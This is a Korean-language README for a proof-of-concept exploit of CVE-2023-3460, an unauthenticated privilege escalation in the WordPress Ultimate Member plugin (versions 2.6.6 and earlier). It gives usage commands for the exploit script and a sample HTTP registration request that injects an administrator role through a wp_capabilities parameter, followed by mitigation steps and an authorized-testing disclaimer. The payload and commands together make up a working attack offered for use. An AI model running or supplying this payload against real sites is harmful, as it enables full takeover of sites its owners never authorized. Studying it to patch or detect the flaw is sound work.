🚨 CVE-2023-3460 - WordPress Ultimate Member 권한 상승 익스플로잇

이것은 WordPress 플러그인 Ultimate Member의 치명적인 취약점인 CVE-2023-3460에 대한 개념 증명(PoC) 익스플로잇입니다. 이 취약점을 통해 인증되지 않은 사용자는 악의적인 등록 요청을 구성하여 자신의 권한을 관리자로 상승시킬 수 있습니다.

🔥 영향: 인증되지 않은 관리자 계정 생성으로 인한 전체 사이트 장악.

📌 취약점 세부 정보

• 영향을 받는 플러그인: Ultimate Member
• 영향을 받는 버전: ≤ 2.6.6
• 수정된 버전: 2.6.7
• 익스플로잇 유형: 등록 남용을 통한 권한 상승
• 인증 필요: ❌ 아니요
• CVE: CVE-2023-3460

⚙️ 요구 사항

• Python 3
• requests 라이브러리
• urllib3 라이브러리
• beautifulsoup4 라이브러리

요구 사항 설치:

pip3 install requests urllib3 beautifulsoup4

🧪 익스플로잇 사용법

python3 CVE-2023-3460.py -t <TARGET_URL> -u <NEW_USERNAME> -p <NEW_PASSWORD> 

✅ 예시:

python3 CVE-2023-3460.py -t http://localhost/register/ -u pwnadmin -p Pass@123 

📥 익스플로잇 스크립트 기능

• 등록 페이지에서 CSRF nonce(_wpnonce)를 가져옴
• 양식 검증 우회
• wp_capabilities에 administrator 역할 주입
• 인증 없이 새 관리자 사용자 생성

🔐 샘플 익스플로잇 페이로드

POST /register/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user_login=pwnadmin&
[email protected]&
user_password=Pass@123&
wp_càpabilities[administrator]=1&
_um_nonce=<nonce_value>

🛡️ 완화 조치

• Ultimate Member 플러그인을 v2.6.7 이상으로 업데이트
• 필요하지 않으면 공개 등록 비활성화
• 의심스러운 활동이 있는지 사용자 생성 로그 모니터링

📚 참고 자료

• 🔗 Patchstack 권고
• 🔗 NVD의 CVE-2023-3460

⚠️ 면책 조항

이 스크립트는 교육 및 승인된 테스트 목적으로만 제공됩니다. 승인되지 않은 시스템 악용은 불법적이고 비윤리적입니다. 오직 소유하고 있거나 테스트 권한이 있는 시스템에서만 사용하십시오.

👨‍💻 작성자

• 💀 [GURJOT SINGH]
• 🔒 [Linkdin: https://in.linkedin.com/in/gurjot-singh-8198b3220]